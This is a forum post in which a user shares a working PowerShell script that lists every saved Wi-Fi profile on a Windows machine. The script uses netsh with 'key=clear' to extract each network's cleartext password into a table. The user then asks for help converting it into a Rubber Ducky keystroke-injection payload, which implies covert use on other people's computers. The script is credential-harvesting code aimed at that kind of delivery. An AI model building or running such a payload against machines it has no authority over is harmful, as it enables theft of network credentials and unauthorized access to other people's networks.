manni Posted July 27, 2020 Share Posted July 27, 2020 Hi I have a Powershell Code $error.Clear() $Output = netsh wlan show profiles $WLANCreds = $Output | Select-String -Pattern "Profil f.r alle Benutzer :", "All User Profile" | ForEach-Object { $out = ($_ -split ":")[-1].Trim() -replace '"' $profile = netsh wlan show profiles name=$out key=clear $pw = $profile | select-string -Pattern "Authentifizierung","Authentication" if ($pw) { $pw2 = ($pw -split ":")[-1].Trim() -replace '"' if ($pw2 -eq "Open") { Write-Output "$out, <open>" } else { $key = $profile | select-string -Pattern "Schl.sselinhalt" ,"Key Content" if ($key) { $key = ($key -split ":")[-1].Trim() -replace '"' } $row = New-Object -TypeName psobject $row | Add-Member -MemberType NoteProperty -Name SSID -Value $out $row | Add-Member -MemberType NoteProperty -Name Auth -Value $pw2 $row | Add-Member -MemberType NoteProperty -Name Pass -Value $key $row } } } | Sort-Object -Property SSID if ($error) { foreach ($err in $error) {Write-host " ERROR: $($err.Exception.Message)"} } $WLANCreds | Format-Table -AutoSize | Out-String Can help me for create a Rubber Ducky code? thanks Link to comment Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.